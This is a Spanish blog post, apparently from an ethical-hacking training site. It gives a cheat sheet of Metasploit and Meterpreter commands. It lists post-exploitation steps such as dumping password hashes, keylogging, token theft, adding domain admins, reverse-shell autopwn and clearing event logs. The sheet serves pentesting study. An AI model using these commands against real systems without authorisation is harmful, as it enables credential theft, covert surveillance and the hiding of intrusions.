El framework Metasploit es una herramienta de código abierto desarrollada en ruby, podéis incluso añadir vuestros propios desarrollos en ella (si no sabéis como apuntaos a nuestro curso de hacking ético). Esta herramienta es muy utilizada para realizar pentesting, tanto para comprometer sistemas como para obtener datos antes y después de comprometerlo.
Pero Metasploit tiene muchos comandos y como nuestra cabeza muchas veces no da para más (al menos la mía), necesitamos una chuleta para recordarlos, aquí os dejo una.
Comandos de la consola de metasploit
show exploits | Mostrar todos los exploits del Framework. |
show payloads |
Mostrar todos los payloads del Framework. |
show auxiliary | Mostrar todos los módulos auxiliares del Framework. |
search [cadena] | Búsqueda por cadena |
search type:[exploit, payload, auxiliary, encoder, post] [cadena] | Búsqueda por tipo y cadena |
info | Muestra información acerca de un exploit cargado. |
use [cadena] | Carga el exploit indicado. |
LHOST | Variable local host |
RHOST | Variable host remoto |
set [parámetro] [valor] | Graba en el parámetro el valor indicado. |
setg[parámetro] [valor] | Graba en valor para el parámetro indicado de forma global. |
show options | Muestra las opciones de un exploit. |
show targets | Muestra las plataformas objetivo del exploit. |
set target [número] | Especifica un objetivo concreto de los posibles. |
set payload [payload] | Especifica un payload a usar.. |
show advanced | Muestra las opciones avanzadas. |
set autorunscript migrate -f | Migra el proceso a un hilo independiente de forma automática. |
check | Comprueba si un objetivo es vulnerable a un exploit. |
exploit | Ejecuta un exploit |
exploit -j | Ejecuta un exploit en background. |
exploit -z | No interactúa con la sesión después de acceder con éxito |
exploit -e encoder | Especifica el encoder a usar con el payload |
exploit -h | Muestra la ayuda para el exploit especificado |
sessions -l | Muestra la lista de sesiones disponibles |
sessions -l -v | Muestra la lista de sesiones disponibles en modo verbose |
sessions -s [script] | Ejecuta un script específico en todas las sesiones de meterpreter activas. |
sessions -K | Mata todas las sesiones activas |
sessions -c cmd | Ejecuta un comando en todas las sesiones activas |
sessions -u sessionID | Actualiza una shell de Win32 a una consola de meterpreter |
db_create [nombre] | Crea una base de datos |
db_connect [nombre] | Crea y se conecta a una base de datos |
db_nmap | Usa y carga los resultados de Nmap en una base de datos |
db_autopwn -h | Muestra la ayuda para usar db_autopwn. |
db_autopwn -p -r -e | Ejecuta db_autopwn contra todos los puertos encontrados, usa una shell reversa y los explota. |
db_destroy | Elimina la actual base de datos |
db_destroy [usuario]:[contraseña]@[host]:[puerto]/[base_de_datos] | Borra una base de datos concreta |
Comandos de Meterpreter
help | Muestra la ayuda. |
run [script] |
Ejecuta un script de meterpreter |
sysinfo | Muestra la información del sistema comprometido |
ls | Muestra los ficheros y directorios del sistema comprometido |
use priv | Carga librerías para elevar privilegios |
ps | Muestra los procesos en ejecución |
migrate PID | Migra un proceso específico. |
use incognito | Carga las librerías de incógnito. |
list_tokens -u | Muestra los tokens disponibles por usuario |
list_tokens -g | Muestra los tokens disponibles por grupo |
impersonate_token [dominio]\\[usuario] | Apropiación de un token disponible del objetivo. |
steal_token PID | Apropiación de un token disponible de un proceso dado |
drop_token | Deja de usar el token actual |
getsystem | Intenta elevar los privilegios del usuario de acceso. |
shell | Ejecuta una Shell interactiva |
execute -f cmd.exe -i | Ejecuta cmd.exe e interactúa con él |
execute -f cmd.exe -i -t | Ejecuta cmd.exe con todos los tokens disponibles |
execute -f cmd.exe -i -H -t | Ejecuta cmd.exe con todos los tokens disponibles y lo convierte en un proceso oculto. |
rev2self | Retorna al usuario original que comprometió el sistema |
reg [comando] | Ejecuta comandos en el registro del sistema comprometido |
setdesktop [número] | Cambia de pantalla |
screenshot | Toma una captura de pantalla del objetivo |
upload file | Carga un fichero en el objetivo |
download file | Descarga un fichero del objetivo |
keyscan_start | Comienza el sniffing del teclado. |
keyscan_dump | Vuelca las teclas pulsadas del sistema objetivo. |
keyscan_stop | Para el sniffing del teclado. |
getprivs | Intenta elevar privilegios. |
uictl enable keyboard/mouse | Toma el control del teclado o ratón. |
background | Sale de meterpreter sin cerrar la sesión. |
hashdump | Obtiene todos los hashes del objetivo. |
use sniffer | Carga las librerías para esnifar. |
sniffer_interfaces | Lista los interfaces disponibles. |
sniffer_dump [interfaceID] pcapname | Comienza a esnifar un interfaz. |
sniffer_start [interfaceID] packet-buffer | Comienza a esnifar un rango específico. |
sniffer_stats [interfaceID] | Para obtener estadísticas de la interfaz. |
sniffer_stop interfaceID | Detiene el sniffer. |
add_user [usuario] [contraseña] -h [ip] | Añade un usuario en el sistema objetivo. |
add_group_user "Domain Admins" [usuario] -h [ip] | Añade un usuario al grupo de administradores en el sistema objetivo. |
clearev | Vacía el log de eventos del sistema comprometido |
timestomp | Cambia los atributos de un fichero. |
reboot | Reinicia el sistema |
Y eso es todo, ¿son unos cuantos eh?
Always Learning.